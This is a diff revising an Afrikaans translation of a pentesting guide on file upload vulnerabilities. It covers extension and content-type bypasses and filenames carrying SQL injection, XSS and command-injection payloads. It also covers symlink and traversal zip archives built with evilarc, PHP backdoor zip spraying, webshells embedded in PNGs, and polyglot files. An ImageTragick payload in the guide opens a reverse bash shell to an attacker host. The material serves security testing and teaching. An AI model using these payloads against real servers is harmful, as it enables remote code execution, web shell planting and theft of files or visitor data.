 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
 ```
-Noteer dat **'n ander opsie** waaraan jy dalk dink om hierdie kontrole te omseil, is om die **HTTP server na 'n ander lêer te herlei**, sodat die aanvanklike URL die kontrole omseil maar wget dan die herlei lêer met die nuwe naam sal aflaai. Dit **sal nie werk nie** **tensy** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herlei bladsy met die naam van die lêer wat in die oorspronklike URL aangedui is, sal aflaai**.
+Let daarop dat **'n ander opsie** waaraan jy dalk dink om hierdie kontrole te omseil is om die **HTTP server te laat herlei na 'n ander lêer**, sodat die aanvanklike URL die kontrole sal omseil maar dan sal wget die herlei lêer met die nuwe naam aflaai. Dit **gaan nie werk nie** **tensy** wget gebruik word met die **parameter** `--trust-server-names` omdat **wget die herlei bladsy sal aflaai met die naam van die lêer aangedui in die oorspronklike URL**.
 
-## Tools
+## Gereedskap
 
-- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is 'n kragtige hulpmiddel ontwerp om Pentesters en Bug Hunters te help met die toets van file upload-meganismes. Dit maak gebruik van verskeie bug bounty techniques om die proses van die identifisering en benutting van vulnerabilities te vereenvoudig, en verseker deeglike assesserings van web applications.
+- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is 'n kragtige hulpmiddel ontwerp om Pentesters en Bug Hunters te help met die toets van file upload mechanisms. Dit maak gebruik van verskeie bug bounty techniques om die proses van die identifisering en uitbuiting van vulnerabilities te vereenvoudig en sorg vir deeglike assesserings van web applications.
 
 ### Corrupting upload indices with snprintf quirks (historical)
 
-Sommige legacy upload handlers wat `snprintf()` of soortgelyke funksies gebruik om multi-file arrays uit 'n single-file upload te bou, kan mislei word om die `_FILES` struktuur te vervals. As gevolg van inkonsekwenthede en afkap in die gedrag van `snprintf()`, kan 'n noukeurig saamgestelde enkele upload aan die bedienerkant as verskeie geïndekseerde lêers voorkom, wat logika wat 'n streng vorm aanvaar in die war stuur (bv. dit as 'n multi-file upload beskou en onveilige takke volg). Al is dit vandag nis, duik hierdie “index corruption” patroon soms weer op in CTFs en ouer kodebasisse.
+Sommige legacy upload handlers wat snprintf() of soortgelyke funksies gebruik om multi-file arrays uit 'n single-file upload te bou, kan mislei word om die _FILES struktuur te vervals. As gevolg van inkonsekwenthede en afkap in snprintf() gedrag, kan 'n sorgvuldig saamgestelde enkele upload op die bediener-kant as verskeie geïndekseerde lêers voorkom, wat logika verwar wat 'n streng struktuur aanvaar (bv. dit as 'n multi-file upload behandel en onveilige takke neem). Al is dit vandag nissies, duik hierdie “index corruption” patroon soms weer op in CTFs en ouer codebases.
 
-## Van lêeroplaai na ander kwesbaarhede
+## From File upload to other vulnerabilities
 
 - Stel **filename** op `../../../tmp/lol.png` en probeer 'n **path traversal** bereik
-- Stel **filename** op `sleep(10)-- -.jpg` en jy mag in staat wees om 'n **SQL injection** te bewerkstellig
+- Stel **filename** op `sleep(10)-- -.jpg` en jy kan moontlik 'n **SQL injection** bereik
 - Stel **filename** op `<svg onload=alert(document.domain)>` om 'n **XSS** te bewerkstellig
-- Stel **filename** op `; sleep 10;` om sekere command injection te toets (more [command injections tricks here](../command-injection.md))
+- Stel **filename** op `; sleep 10;` om sekere **command injection** te toets (meer [command injections tricks here](../command-injection.md))
 - [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
 - **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
 - [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
 - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
-- Probeer **different svg payloads** van [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
+- Probeer **verskeie svg payloads** vanaf [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
-- As jy die webserver kan opdrag gee om 'n image vanaf 'n URL te haal, kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/index.html) te misbruik. As hierdie **image** na 'n **public** webwerf gestoor gaan word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en sodoende **inligting van elke besoeker steel**.
+- As jy die **web server kan aanwys om 'n image vanaf 'n URL te haal** kan jy probeer om 'n [SSRF](../ssrf-server-side-request-forgery/index.html) te misbruik. As hierdie **image** in 'n **public** site **gesave** gaan word, kan jy ook 'n URL van [https://iplogger.org/invisible/](https://iplogger.org/invisible/) aandui en die **inligting van elke besoeker steel**.
 - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
-- Spesiaal samengestelde PDFs vir XSS: Die [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). As jy PDFs kan oplaai, kan jy 'n PDF voorberei wat arbitraire JS sal uitvoer volgens die gegewe aanwysings.
-- Laai die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud op om te kontroleer of die bediener enige **antivirus** het
-- Kontroleer of daar enige **size limit** is wanneer lêers opgelaai word
+- Spesiaal saamgestelde PDFs vir XSS: Die volgende bladsy verduidelik hoe om **PDF data te injecteer om JS uitvoering te bekom** (../xss-cross-site-scripting/pdf-injection.md). As jy PDFs kan upload, kan jy 'n PDF voorberei wat arbitêre JS sal uitvoer volgens die gegewe aanwijgings.
+- Upload die \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) inhoud om te kontroleer of die bediener enige **antivirus** het
+- Kontroleer of daar enige **grootte beperking** is wanneer jy files upload
 
-Hier is 'n top 10 lys van dinge wat jy deur oplaai kan bereik (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
+Hier is 'n top 10 lys van dinge wat jy deur opgelaai te word kan bereik (van [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
 
 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
 2. **SVG**: Stored XSS / SSRF / XXE
@@ -234,39 +234,39 @@ Hier is 'n top 10 lys van dinge wat jy deur oplaai kan bereik (from [here](https
 https://github.com/portswigger/upload-scanner
 {{#endref}}
 
-## Magic Header Bytes
+## Magiese Header Bytes
 
 - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
 - **JPG**: `"\xff\xd8\xff"`
 
 Verwys na [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) vir ander filetypes.
 
-## Zip/Tar-lêer wat outomaties gedekomprimeer word tydens oplaai
+## Zip/Tar File Automatically decompressed Upload
 
-As jy 'n ZIP kan oplaai wat op die bediener gedekomprimeer gaan word, kan jy twee dinge doen:
+As jy 'n ZIP kan upload wat binne die bediener gedecomprimeer gaan word, kan jy twee dinge doen:
 
 ### Symlink
 
-Laai 'n archive op wat soft links na ander lêers bevat; wanneer jy toegang kry tot die gedekomprimeerde lêers, sal jy toegang kry tot die gekoppelde lêers:
+Upload 'n arkief wat soft links na ander files bevat, dan, deur toegang te kry tot die gedecomprimeerde files, sal jy toegang kry tot die gelinkte files:
 ```
 ln -s ../../../index.php symindex.txt
 zip --symlinks test.zip symindex.txt
 tar -cvf test.tar symindex.txt
 ```
-### Ontpak in verskillende gidse
+### Dekomprimeer in verskillende vouers
 
-Die onverwagte skepping van lêers in gidse tydens uitpak is 'n beduidende probleem. Ondanks aanvanklike aannames dat hierdie opstelling moontlik teen OS-level command execution via malicious file uploads sal beskerm, kan die hiërargiese kompressie-ondersteuning en directory traversal vermoëns van die ZIP-argiefformaat misbruik word. Dit stel attackers in staat om beperkings te omseil en uit veilige upload directories te ontsnap deur die uitpakfunksionaliteit van die geteikende toepassing te manipuleer.
+Die onvoorsiene skepping van lêers in gidse tydens dekompressie is 'n beduidende probleem. Ten spyte van aanvanklike veronderstellings dat hierdie opstelling teen OS-level command execution deur kwaadwillige lêer-oplaaie sou beskerm, kan die hiërargiese kompressie-ondersteuning en directory traversal vermoëns van die ZIP archive format uitgebuit word. Dit stel aanvallers in staat om beperkings te omseil en uit veilige oplaai-gidse te ontsnap deur die dekompressie-funksionaliteit van die geteikende toepassing te manipuleer.
 
-'n Geautomatiseerde exploit om sulke lêers te skep is beskikbaar by [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Die utility kan soos volg gebruik word:
+'n Outomatiese exploit om sulke lêers te skep is beskikbaar by [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Die nutsprogram kan soos volg gebruik word:
 ```python
 # Listing available options
 python2 evilarc.py -h
 # Creating a malicious archive
 python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
 ```
-Verder is die **symlink trick with evilarc** 'n opsie. As die doelwit is om 'n lêer soos `/flag.txt` te teiken, moet 'n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc nie foute teëkom tydens sy werking nie.
+Verder is die **symlink trick with evilarc** ’n opsie. As die doelwit is om ’n lêer soos `/flag.txt` te mik, moet ’n symlink na daardie lêer in jou stelsel geskep word. Dit verseker dat evilarc tydens sy werking nie foutmeldings ervaar nie.
 
-Hieronder is 'n voorbeeld van Python-kode wat gebruik word om 'n kwaadwillige zip-lêer te skep:
+Hieronder is ’n voorbeeld van Python-kode wat gebruik word om ’n kwaadwillige zip-lêer te skep:
 ```python
 #!/usr/bin/python
 import zipfile
@@ -284,11 +284,11 @@ zip.close()
 
 create_zip()
 ```
-**Abusing compression for file spraying**
+**Misbruik van kompressie vir file spraying**
 
-Vir verdere besonderhede **kyk na die oorspronklike pos by**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
+Vir meer besonderhede **kyk na die oorspronklike pos by**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
 
-1.  **Creating a PHP Shell**: PHP-kode word geskryf om opdragte uit te voer wat deur die `$_REQUEST`-veranderlike deurgegee word.
+1.  **Creating a PHP Shell**: PHP-kode word geskryf om opdragte uit te voer wat deur die `$_REQUEST` veranderlike oorgedra word.
 
 ```php
 <?php
@@ -305,7 +305,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
 root@s2crew:/tmp# zip cmd.zip xx*.php
 ```
 
-3.  **Modification with a Hex Editor or vi**: Die name van die lêers binne die zip word met vi of 'n hex editor gewysig, deur "xxA" na "../" te verander om gidsstrukture te deurkruis.
+3.  **Modification with a Hex Editor or vi**: Die name van die lêers binne die zip word met vi of 'n hex editor verander, deur "xxA" na "../" te verander om deur gidse te navigeer.
 
 ```bash
 :set modifiable
@@ -315,38 +315,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
 
 ## ImageTragic
 
-Laai hierdie inhoud op met 'n image-uitbreiding om die kwesbaarheid uit te buit **(ImageMagick, 7.0.1-1)** (vanaf die [exploit](https://www.exploit-db.com/exploits/39767))
+Laai hierdie inhoud op met 'n beeldlêer-uitbreiding om die kwesbaarheid uit te buit **(ImageMagick , 7.0.1-1)** (sien die [exploit](https://www.exploit-db.com/exploits/39767))
 ```
 push graphic-context
 viewbox 0 0 640 480
 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
 pop graphic-context
 ```
-## Insluiting van PHP Shell in PNG
+## Embedding PHP Shell on PNG
 
-Die insluiting van 'n PHP shell in die IDAT-chunk van 'n PNG-lêer kan effektief sekere beeldverwerkingsoperasies omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is besonder relevant in hierdie konteks, aangesien hulle algemeen gebruik word vir die verander van grootte en herbemonstering van beelde. Die vermoë van die ingeslote PHP shell om ongeskonde te bly deur hierdie operasies is 'n beduidende voordeel vir sekere gebruiksgevalle.
+Die insluiting van 'n PHP shell in die IDAT chunk van 'n PNG-lêer kan sekere image processing-operasies effektief omseil. Die funksies `imagecopyresized` en `imagecopyresampled` van PHP-GD is in hierdie verband besonder relevant, aangesien hulle algemeen gebruik word vir die resizing en resampling van beelde, onderskeidelik. Die vermoë van die ingeslote PHP shell om onaangetas te bly deur hierdie operasies is 'n betekenisvolle voordeel vir sekere gebruiksgevalle.
 
-'n Gedetailleerde verkenning van hierdie tegniek, insluitend die metodologie en moontlike toepassings, word verskaf in die volgende artikel: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie hulpbron bied 'n omvattende begrip van die proses en die implikasies daarvan.
+'n Gedetaileerde ondersoek van hierdie tegniek, insluitend metodologie en potensiële toepassings, word verskaf in die volgende artikel: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Hierdie bron bied 'n omvattende begrip van die proses en die implikasies daarvan.
 
 More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
 
-## Polyglot Files
+## Polyglot-lêers
 
-Polyglot files dien as 'n unieke hulpmiddel in cybersecurity, en tree op soos kameleons wat geldig in meerdere lêerformate terselfdertyd kan bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat beide as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers beperk zich nie tot hierdie kombinasie nie; kombinasies soos GIF en JS of PPT en JS is ook uitvoerbaar.
+Polyglot-lêers funksioneer as kameleonne in cybersecurity, en kan geldig in meervoudige lêerformate gelyktydig bestaan. 'n Interessante voorbeeld is 'n [GIFAR](https://en.wikipedia.org/wiki/Gifar), 'n hibriede wat beide as 'n GIF en 'n RAR-argief funksioneer. Sulke lêers is nie beperk tot daardie kombinasie nie; kombinasies soos GIF en JS of PPT en JS is ook haalbaar.
 
-Die kern nut van polyglot files lê in hul vermoë om sekuriteitstelsels te omseil wat lêers op grond van tipe sifting. Algemene praktyk in verskeie toepassings is om slegs sekere lêertipes vir upload toe te laat—soos JPEG, GIF, of DOC—om die risiko van potensieel gevaarlike formate (bv. JS, PHP of Phar lêers) te beperk. 'n Polyglot, deur te voldoen aan die strukturele kriteria van meerdere lêertipes, kan egter stilletjies hierdie beperkings omseil.
+Die kernnut van polyglot-lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op grond van tipe sifts. Algemene praktyk in verskeie toepassings behels slegs sekere lêertipes toe te laat vir upload—soos JPEG, GIF of DOC—om die risiko van potensieel skadelike formate (bv. JS, PHP, of Phar-lêers) te verminder. 'n Polyglot kan egter deur die strukturele kriteria van veelvuldige lêertipes te voldoen, stilweg hierdie beperkings omseil.
 
-Ten spyte van hul aanpasbaarheid, het polyglots beperkings. Byvoorbeeld, terwyl 'n polyglot terselfdertyd 'n PHAR-lêer en 'n JPEG kan beliggaam, kan die sukses van die upload afhang van die platform se beleid oor lêeruitbreidings. As die stelsel streng is oor toelaatbare uitbreidings, mag die blote strukturele tweespalt van 'n polyglot nie voldoende wees om die upload te waarborg nie.
+Ten spyte van hul aanpasbaarheid, het polyglots wel beperkings. Byvoorbeeld, al kan 'n polyglot terselfdertyd 'n PHAR-lêer en 'n JPEG beliggaam, mag die sukses van sy upload afhanklik wees van die platform se file extension-beleid. As die stelsel streng is oor toegelate extensies, mag die strukturele dualiteit van 'n polyglot nie voldoende wees om sy upload te waarborg nie.
 
 More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
 
 ### Upload valid JSONs like if it was PDF
 
-Hoe om lêertipe-detektering te omseil deur 'n geldige JSON-lêer op te laai, selfs al is dit nie toegelaat nie, deur 'n PDF-lêer te faksimeer (tegnieke van **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
+Hoe om file type-deteksering te vermy deur 'n geldige JSON-lêer op te laai selfs al is dit nie toegelaat nie deur 'n vals PDF-lêer na te boots (tegnieke uit **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
 
-- **`mmagic` library**: Solank die `%PDF` magic bytes in die eerste 1024 bytes is, is dit geldig (kry voorbeeld uit die post)
-- **`pdflib` library**: Voeg 'n vals PDF-formaat binne 'n veld van die JSON by sodat die biblioteek dink dit is 'n pdf (kry voorbeeld uit die post)
-- **`file` binary**: Dit kan tot 1048576 bytes van 'n lêer lees. Skep net 'n JSON wat groter is as dit sodat dit nie die inhoud as 'n json kan parse nie en sit dan binne die JSON die aanvanklike deel van 'n werklike PDF en dit sal dink dit is 'n PDF
+- **`mmmagic` library**: Solank die `%PDF` magic bytes in die eerste 1024 bytes is, is dit geldig (kry voorbeeld in die post)
+- **`pdflib` library**: Voeg 'n vals PDF-formaat binne 'n veld van die JSON in sodat die library dink dit is 'n pdf (kry voorbeeld in die post)
+- **`file` binary**: Dit kan tot 1048576 bytes van 'n lêer lees. Skep eenvoudig 'n JSON wat groter is as dit sodat dit nie die inhoud as 'n json kan parse nie, en plaas dan binne die JSON die aanvanklike deel van 'n werklike PDF en dit sal dink dit is 'n PDF
 
 ## References